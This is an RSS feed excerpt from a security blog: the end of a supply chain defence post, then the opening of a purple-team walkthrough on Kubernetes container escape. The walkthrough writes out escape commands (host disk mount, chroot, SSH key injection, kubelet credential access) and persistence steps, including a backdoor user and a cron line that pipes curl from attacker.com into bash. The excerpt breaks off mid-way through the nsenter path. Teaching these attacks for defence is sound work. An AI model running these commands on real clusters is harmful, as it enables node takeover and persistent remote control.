grype sbom:./sbom.json --fail-on critical
</code></pre>
<h3 id="build-provenance-with-github-actions-slsa-level-23">Build Provenance with GitHub Actions (SLSA Level 2/3)</h3>
<pre><code class="" data-line=""># .github/workflows/build.yml
# Adds SLSA provenance attestation to every release artifact
name: Build and attest

on:
  push:
    tags: [&quot;v*&quot;]

permissions:
  contents: write
  id-token: write       # Required for OIDC signing
  attestations: write   # Required for GitHub attestation API

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      image-digest: ${{ steps.push.outputs.digest }}
    steps:
      - uses: actions/checkout@v4

      - name: Build and push container image
        id: push
        uses: docker/build-push-action@v5
        with:
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.ref_name }}

      - name: Generate SLSA provenance attestation
        uses: actions/attest-build-provenance@v1
        with:
          subject-name: ghcr.io/${{ github.repository }}
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true
          # This generates a signed SLSA provenance statement that records:
          # - Which workflow built this artifact
          # - The git SHA it was built from
          # - The trigger event
          # Stored alongside the image in the registry
</code></pre>
<pre><code class="" data-line=""># Verify the attestation against an image
gh attestation verify \
  oci://ghcr.io/your-org/your-image:latest \
  --owner your-org
# Passes: image provenance is traceable to a specific workflow run
# Fails: image was built and pushed outside any attested workflow
</code></pre>
<h3 id="what-anomaly-detection-catches">What Anomaly Detection Catches</h3>
<p>Sigstore and SBOM scanning catch known-bad artifacts. Anomaly detection catches behavior that hasn&#8217;t been classified yet:</p>
<ul>
<li><strong>Unexpected external connections during build:</strong> a hermetic build should make zero network calls after dependency fetch. Any egress during the build phase is a signal — a compromised build tool phoning home, a dependency pulling a secondary payload at install time</li>
<li><strong>Artifact hash drift:</strong> if the same source commit produces different binary output on two consecutive builds, the build environment is non-deterministic at best, compromised at worst. Reproducible builds produce identical byte-for-byte output from identical inputs — hash drift indicates something in the build environment changed</li>
<li><strong>New dependency additions without PR:</strong> any dependency that appears in a build artifact but was not added via a reviewed pull request is an anomaly. SBOMs make this comparison possible; without them it is invisible</li>
</ul>
<pre><code class="" data-line=""># Check for unexpected network connections during a build
# Run this on the build host during a CI job
ss -tnp | grep -E &quot;(ESTABLISHED|SYN_SENT)&quot;
# Any connection to an IP outside your artifact registry and SCM = investigate

# Compare artifact hashes across two builds of the same commit
# (tests build reproducibility)
docker pull ghcr.io/your-org/your-image@sha256:&lt;first-build-digest&gt;
docker pull ghcr.io/your-org/your-image@sha256:&lt;second-build-digest&gt;
# If the digests differ for the same source commit, investigate
</code></pre>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="1-pin-dependencies-with-hashes-not-just-versions">1. Pin Dependencies with Hashes — Not Just Versions</h3>
<p>Version pinning (<code class="" data-line="">requests==2.31.0</code>) pins the version number. The package maintainer can yank and re-upload that version with different content on some registries. Hash pinning locks the exact file bytes:</p>
<pre><code class="" data-line=""># requirements.txt — hash-pinned
requests==2.31.0 \
    --hash=sha256:58cd2187423839e4e2d07f6f16c9cd680e74d6066237a4e1e88f06fc4a3e2e56 \
    --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1
# Two hashes because the package ships both a wheel and a source tarball
# pip verifies the downloaded file matches one of these hashes before installing

# Generate hash-pinned requirements from a working environment
pip-compile --generate-hashes requirements.in --output-file requirements.txt
# pip-compile resolves the full dependency tree and writes pinned+hashed output
</code></pre>
<p>For containers, pin base images by digest, not by tag:</p>
<pre><code class="" data-line=""># Vulnerable: mutable tag
FROM python:3.11-slim

# Secure: pinned digest
FROM python:3.11-slim@sha256:6a37af1bde8be89040f70b9e93f2f61b5f14e99d7e49f9ea3dc7ded2e1c82f7b
# The digest is immutable — this exact image layer will always be fetched,
# regardless of what the 3.11-slim tag points to in the future
</code></pre>
<h3 id="2-private-artifact-registry-no-direct-pypi-or-npm-in-production-ci">2. Private Artifact Registry — No Direct PyPI or npm in Production CI</h3>
<p>A private registry (Artifactory, Nexus, AWS CodeArtifact, Google Artifact Registry) proxies upstream registries and caches approved packages. Benefits:</p>
<ul>
<li><strong>Dependency confusion protection:</strong> your CI resolves <code class="" data-line="">mycompany-utils</code> from your private registry first, never from public PyPI</li>
<li><strong>Availability independence:</strong> a PyPI outage does not break your builds</li>
<li><strong>Audit trail:</strong> every package version pulled in every build is logged</li>
<li><strong>Policy enforcement:</strong> you can block packages with unacceptable licenses or CVE scores</li>
</ul>
<pre><code class="" data-line=""># Configure pip to use a private registry proxy exclusively
# In ci/pip.conf or as environment variable
export PIP_INDEX_URL=&quot;https://your-artifactory.company.com/artifactory/api/pypi/pypi-virtual/simple/&quot;
export PIP_TRUSTED_HOST=&quot;your-artifactory.company.com&quot;
# No direct PyPI access — all packages go through your registry proxy

# For npm: configure registry in .npmrc
echo &quot;registry=https://your-artifactory.company.com/artifactory/api/npm/npm-virtual/&quot; &gt; .npmrc
echo &quot;always-auth=true&quot; &gt;&gt; .npmrc
</code></pre>
<h3 id="3-reproducible-builds-same-input-produces-same-output">3. Reproducible Builds — Same Input Produces Same Output</h3>
<p>Reproducible builds allow independent verification: a third party can take the same source and build environment and produce a byte-for-byte identical artifact. If the published artifact does not match, something changed between source and distribution.</p>
<p>This is exactly how the XZ tarball compromise would have been caught earlier with proper tooling: the release tarball did not match what would be produced by checking out the git tag and running the build.</p>
<pre><code class="" data-line=""># For Go: builds are reproducible by default in Go 1.13+
# Verify by building twice and comparing
go build -o binary-1 ./cmd/...
go build -o binary-2 ./cmd/...
sha256sum binary-1 binary-2
# Identical hashes = reproducible

# For containers with BuildKit: use --no-cache and compare digests
DOCKER_BUILDKIT=1 docker build --no-cache -t test-1 .
DOCKER_BUILDKIT=1 docker build --no-cache -t test-2 .
docker inspect test-1 test-2 | jq &#039;.[].Id&#039;
# Identical IDs = reproducible build environment

# SOURCE_DATE_EPOCH forces reproducible timestamps (common reproducibility blocker)
export SOURCE_DATE_EPOCH=$(git log -1 --format=%ct)
make  # or whatever your build command is
</code></pre>
<h3 id="4-separate-build-and-release-environments">4. Separate Build and Release Environments</h3>
<p>SolarWinds built and signed in the same compromised environment. The build environment had signing keys. An attacker who owns the build host owns the signing operation.</p>
<pre><code class="" data-line="">INSECURE:                           SECURE:

Build host ──&#x25b6; compile              Build host ──&#x25b6; compile
           ──&#x25b6; sign artifact                   ──&#x25b6; output unsigned artifact
           ──&#x25b6; publish                                    │
                                                          ▼
                                    Separate signing host (air-gapped or HSM)
                                                    ──&#x25b6; verify artifact hash
                                                    ──&#x25b6; sign with HSM key
                                                    ──&#x25b6; publish signed artifact
</code></pre>
<p>In practice: signing keys should live in a hardware security module (HSM) or KMS, not on the build host. The build produces an artifact hash; the signing service receives only the hash, not the full artifact, and signs it with the HSM-protected key. Build host compromise does not yield the signing key.</p>
<h3 id="5-sbom-in-every-release-non-negotiable">5. SBOM in Every Release — Non-Negotiable</h3>
<p>If you cannot enumerate what is in your artifact, you cannot answer supply chain compromise questions. When CVE-2024-3094 dropped, every organization with an SBOM could query it in minutes. Organizations without one had to manually inspect every container image and every deployed system.</p>
<pre><code class="" data-line=""># Attach SBOM to a container image as an attestation (stored in registry)
syft ghcr.io/your-org/your-image:latest -o cyclonedx-json | \
  cosign attest \
    --predicate /dev/stdin \
    --type cyclonedx \
    ghcr.io/your-org/your-image:latest
# The SBOM is now stored alongside the image and signed with OIDC credentials

# Later: retrieve and search the SBOM
cosign verify-attestation \
  --type cyclonedx \
  --certificate-identity-regexp=&quot;.*&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  ghcr.io/your-org/your-image:latest | \
  jq -r &#039;.payload | @base64d | fromjson | .predicate.components[] | 
    select(.name == &quot;xz-libs&quot;) | {name, version}&#039;
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Hash pinning breaks automated dependency update workflows.</strong> When you pin with hashes, tools like Dependabot and Renovate still open PRs, but they must also update the hashes. This works — both tools support hash pinning — but you must configure them explicitly. Without hash update support in your automation, developers will remove pinning to unblock themselves.</p>
<p><strong>SLSA Level 3 requires hermetic builds — most teams are not ready.</strong> Hermetic means the build process makes no network calls during compilation (all dependencies fetched in a prior, logged step). Most existing CI pipelines fetch dependencies during the build step. Reaching SLSA Level 3 requires restructuring your pipeline into explicit fetch → build phases. Start at Level 2 (hosted, signed provenance) and treat Level 3 as a 6-month target.</p>
<p><strong>SBOMs without a query workflow are paperwork.</strong> Generating an SBOM with <code class="" data-line="">syft</code> and storing it somewhere is the easy part. The useful part is having a process to query all SBOMs across your fleet within minutes of a new CVE. Without that query infrastructure, you have documentation, not detection capability.</p>
<p><strong>Cosign verify fails silently if no signature exists.</strong> By default, if an image has no cosign signature, <code class="" data-line="">cosign verify</code> returns an error — which is correct. But in a Kubernetes admission webhook that enforces signing (e.g., Kyverno, OPA/Gatekeeper), an unsigned image must be an explicit policy violation, not a webhook error that gets bypassed by a fail-open configuration. Always run admission webhooks in fail-closed mode.</p>
<p><strong>Tarball vs git diff requires automation.</strong> Manually diffing every release tarball against its git tag is not sustainable. The XZ compromise would have been caught earlier if distributions had automated this check as part of their packaging workflow. Tools like <code class="" data-line="">diffoscope</code> can automate the comparison; integrating it into your package intake process is the structural fix.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Attack Vector</th>
<th>Detection Signal</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Build system compromise (SolarWinds)</td>
<td>Artifact hash drift; unexpected egress during build; tarball ≠ git diff</td>
<td>SLSA Level 3 hermetic builds; separate signing environment</td>
</tr>
<tr>
<td>Maintainer social engineering (XZ)</td>
<td>Tarball ≠ git diff; SBOM shows unexpected dependency; anomalous sshd syscalls</td>
<td>Reproducible builds; tarball verification in package intake</td>
</tr>
<tr>
<td>Dependency confusion</td>
<td>Package resolves from public registry instead of private</td>
<td>Private artifact registry with scoped package names</td>
</tr>
<tr>
<td>Typosquatting</td>
<td><code class="" data-line="">pip-audit</code> / <code class="" data-line="">npm audit signatures</code> findings</td>
<td>Private registry; automated dependency scanning in CI</td>
</tr>
<tr>
<td>Unsigned container image</td>
<td><code class="" data-line="">cosign verify</code> fails; no attestation in registry</td>
<td>Sigstore/cosign in CI; fail-closed admission webhook</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Supply chain attacks bypass perimeter security entirely</strong> — the attacker delivers malware through a channel you already trust, signed by a certificate you already trust, via an update mechanism you already approve</li>
<li>SolarWinds was caught by a downstream victim (FireEye), not by SolarWinds&#8217; own security team — the build environment had no integrity monitoring that could detect modification of compiled artifacts</li>
<li>XZ Utils was caught by an engineer noticing a 500ms latency anomaly during unrelated performance work, not by any security tooling — this was within days of the backdoor shipping in multiple stable Linux distribution releases</li>
<li>The detection pipeline has five layers, each catching a different attack class: hash pinning (dependency hijacking), SBOM (enumeration and CVE correlation), Sigstore signing (artifact integrity), SLSA provenance (build traceability), tarball vs git diff (source/distribution divergence)</li>
<li>Start with what you can implement this week: <code class="" data-line="">pip-audit</code> or <code class="" data-line="">npm audit signatures</code> in CI, <code class="" data-line="">syft</code> SBOM generation on every image build, and cosign signing for any container image that reaches production — these three steps cover the most common attack classes with minimal pipeline restructuring</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>SolarWinds showed that attackers can own your build system and reach your customers&#8217; production networks through a single trusted update. Once they have a foothold in a cloud account — whether via a compromised build artifact or any other initial access vector — the next move is lateral: cross-account IAM role chaining to escalate from a single compromised resource to your entire cloud organization. EP10 covers what that lateral movement looks like, how to detect trust relationship abuse in CloudTrail, and how to structure cross-account access so that a single compromise cannot pivot to every account you own.</p>
<p>Get EP10 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&#038;title=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" data-a2a-url="https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/" data-a2a-title="Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense"></a></p><p>The post <a href="https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/">Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1867</post-id>	</item>
		<item>
		<title>Kubernetes Container Escape: Attack Paths and eBPF Detection</title>
		<link>https://linuxcent.com/kubernetes-container-escape-attack-paths/</link>
					<comments>https://linuxcent.com/kubernetes-container-escape-attack-paths/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Container Escape]]></category>
		<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Runtime Security]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1864</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span>Kubernetes container escape via --privileged or runc CVEs: two commands from container to node root. Attack path anatomy, eBPF detection, and the structural fixes that close each path.</p>
<p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata</a> → <strong>Kubernetes Container Escape</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Kubernetes container escape</strong> is OWASP A04 + A05: a container deployed with <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, or <code class="" data-line="">hostNetwork</code> is not meaningfully isolated from the host — two commands can produce a root shell on the node</li>
<li>The kernel does not enforce Kubernetes namespace semantics. Container isolation comes from Linux namespaces, cgroups, and seccomp. <code class="" data-line="">--privileged</code> removes those boundaries — the kernel sees no difference between the container and the host</li>
<li>Three primary escape paths: privileged container with host device access, <code class="" data-line="">hostPID</code> + <code class="" data-line="">nsenter</code>, and runc CVEs (CVE-2019-5736) that allow a malicious container to overwrite the runc binary during exec</li>
<li>Detection requires kernel-level visibility: Falco fires on privilege container exec; Tetragon traces <code class="" data-line="">nsenter</code> and <code class="" data-line="">mount</code> syscalls at the point of the kernel hook, not a process name check that can be evaded</li>
<li>The structural fix is PodSecurity admission enforcing the Restricted profile at the namespace level — policy that blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and mounts before a pod ever schedules</li>
<li>Network policy as a secondary layer: even if a container escapes to the node, a network policy that blocks the escaped process from reaching the Kubernetes API server limits lateral movement to the cluster control plane</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A04 Insecure Design — <code class="" data-line="">--privileged</code> placed in production workloads because the development environment never enforced boundaries. A05 Security Misconfiguration — absence of PodSecurity admission, RuntimeClass, and seccomp profiles.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│              KUBERNETES CONTAINER ESCAPE — ATTACK SURFACE               │
│                                                                         │
│  ┌──────────────────────────────────────────────────────────────┐       │
│  │                     KUBERNETES NODE                          │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (--privileged)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  web app ──&#x25b6; exploit ──&#x25b6; shell in container          │   │       │
│  │  │                           │                           │   │       │
│  │  │  PATH 1: mount /dev/sda1  │                           │   │       │
│  │  │  ──────────────────────── ▼                           │   │       │
│  │  │  chroot /mnt/host → root shell on node                │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (hostPID=true)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 2: nsenter -t 1 -m -u -i -n -p -- bash         │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           root shell in host PID 1 namespaces         │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (runc CVE)                                 │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 3: overwrite /proc/self/exe during runc exec    │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           arbitrary code execution as root on node    │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  Node root → kubectl access → cluster-admin via node creds  │       │
│  └──────────────────────────────────────────────────────────────┘       │
│                                                                         │
│  DETECTION LAYER        │  STRUCTURAL FIX                               │
│  Falco / Tetragon       │  PodSecurity Restricted                       │
│  mount syscall hooks    │  RuntimeClass (gVisor/Kata)                   │
│  audit logs             │  Seccomp + no-new-privileges                  │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Kubernetes container escape</strong> is the point where a compromised application pod becomes a compromised Kubernetes node — and from a node, an attacker reaches the kubelet credential, the node&#8217;s service account, and often a path to cluster-admin. The boundary between container and host is not the Kubernetes API. It is Linux namespaces, cgroups, and seccomp. When you remove those with <code class="" data-line="">--privileged</code>, you remove the boundary.</p>
<hr />
<h2 id="the-incident-privileged-just-for-debugging">The Incident: &#8211;privileged &#8220;Just for Debugging&#8221;</h2>
<p>A networking issue in staging. The developer can&#8217;t get the CNI tracing they need from inside the normal container. Someone adds <code class="" data-line="">--privileged: true</code> to the pod spec to expose <code class="" data-line="">/sys/class/net</code> and the raw packet socket. The PR merges. The staging deployment works. The <code class="" data-line="">--privileged</code> flag stays in the manifest when staging gets promoted to production.</p>
<p>Six months later, the web application running in that pod has an RCE vulnerability. The attacker gets a shell.</p>
<p>Inside the container, two commands:</p>
<pre><code class="" data-line="">mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
</code></pre>
<p>Root on the node. Not escalation through a kernel exploit. Not a zero-day. Just mounting the device that was always accessible because <code class="" data-line="">--privileged</code> was set.</p>
<p>The node has a kubelet credential and a service account token with broader permissions than the compromised application ever needed. From the node, lateral movement into the cluster control plane is a matter of using credentials that are already there.</p>
<p>This is A04 (Insecure Design) and A05 (Security Misconfiguration) combined: the design didn&#8217;t account for what happens when the boundary is removed, and no enforcement mechanism prevented the configuration from reaching production.</p>
<hr />
<h2 id="why-the-kernel-doesnt-know-about-kubernetes">Why the Kernel Doesn&#8217;t Know About Kubernetes</h2>
<p>Kubernetes namespaces are a scheduler and API concept. When you create a Kubernetes namespace and apply RBAC to it, you are controlling what the Kubernetes API server will accept — you are not creating a kernel isolation boundary between workloads in different namespaces.</p>
<p>Kernel isolation comes from:</p>
<pre><code class="" data-line="">Linux namespaces (PID, net, mount, IPC, UTS, user)
  ├── Created by container runtime (containerd, crio)
  ├── Container processes run inside these namespaces
  └── From inside: host PIDs, host network, host filesystem are not visible

cgroups
  ├── Limit CPU, memory, and device access per container
  └── Prevent runaway resource consumption and limit device access scope

seccomp profiles
  ├── Filter system calls the container is allowed to invoke
  └── Block ptrace, mount, CAP_SYS_ADMIN and other privileged syscalls

Capabilities
  ├── Fine-grained kernel privileges (CAP_NET_ADMIN, CAP_SYS_ADMIN, etc.)
  └── --privileged grants ALL capabilities + disables seccomp + disables AppArmor
</code></pre>
<p><code class="" data-line="">--privileged</code> removes all three layers simultaneously. It grants every capability, disables the default seccomp filter, and disables AppArmor confinement. A privileged container is effectively a process running on the host with a different filesystem view — and with <code class="" data-line="">mount</code>, you can fix even the filesystem view.</p>
<hr />
<h2 id="red-phase-the-three-escape-paths">Red Phase: The Three Escape Paths</h2>
<h3 id="path-1-privileged-container">Path 1: &#8211;privileged Container</h3>
<p>A privileged container has <code class="" data-line="">CAP_SYS_ADMIN</code>, which includes the ability to mount arbitrary block devices. On a node with a standard Linux filesystem, <code class="" data-line="">/dev/sda1</code> or equivalent contains the host root filesystem.</p>
<p><strong>Check if the current container is privileged:</strong></p>
<pre><code class="" data-line=""># CapEff shows the effective capability set as a hex bitmask
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff

# Decode it
capsh --decode=0000003fffffffff | grep -o &#039;cap_sys_admin&#039;
# cap_sys_admin — present means privileged
</code></pre>
<p><strong>Full escape sequence:</strong></p>
<pre><code class="" data-line=""># Step 1: Identify the host block device
# /proc/mounts shows what the container runtime mounted
cat /proc/mounts | grep &#039; / &#039;
# overlay on / type overlay (rw,...,upperdir=/var/lib/containerd/...)

# Or: check fdisk/lsblk — visible in privileged container
lsblk
# NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
# sda      8:0    0   80G  0 disk
# ├─sda1   8:1    0   79G  0 part /
# └─sda2   8:2    0    1G  0 part [SWAP]

# Step 2: Mount host root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Step 3a: Write attacker SSH key to host authorized_keys
echo &quot;ssh-rsa AAAA...&quot; &gt;&gt; /mnt/host/root/.ssh/authorized_keys

# Step 3b: Or take an immediate root shell via chroot
chroot /mnt/host /bin/bash
# Now running as root in the host filesystem
# id: uid=0(root) gid=0(root)

# Step 4: From host root — access kubelet credentials
cat /etc/kubernetes/pki/ca.crt
# Or pull the node&#039;s bootstrap token / client cert for API server access
ls /var/lib/kubelet/pki/
</code></pre>
<p><strong>What persistence looks like from node root:</strong></p>
<pre><code class="" data-line=""># Add a backdoor user to host /etc/passwd
chroot /mnt/host useradd -m -s /bin/bash -G sudo backdoor
chroot /mnt/host passwd backdoor

# Or: schedule a cron job on the host
echo &quot;* * * * * root curl http://attacker.com/c2 | bash&quot; \
  &gt;&gt; /mnt/host/etc/cron.d/maintenance
</code></pre>
<h3 id="path-2-hostpid-hostnetwork-escape">Path 2: hostPID / hostNetwork Escape</h3>
<p><code class="" data-line="">hostPID: true</code> is a less obvious escape path than <code class="" data-line="">--privileged</code> but equally dangerous. When a container shares the host PID namespace, it can see and interact with every process running on the node — including PID 1, which is running in the host&#8217;s full namespace set.</p>
<p><strong>With hostPID enabled, nsenter produces a host root shell without mounting anything:</strong></p>
<pre><code class="" data-line=""># From inside the container — see all host processes
ps aux
# This will show containerd, kubelet, systemd, sshd — everything on the node

# nsenter: enter the namespaces of PID 1 (host init process)
# -t 1: target PID 1
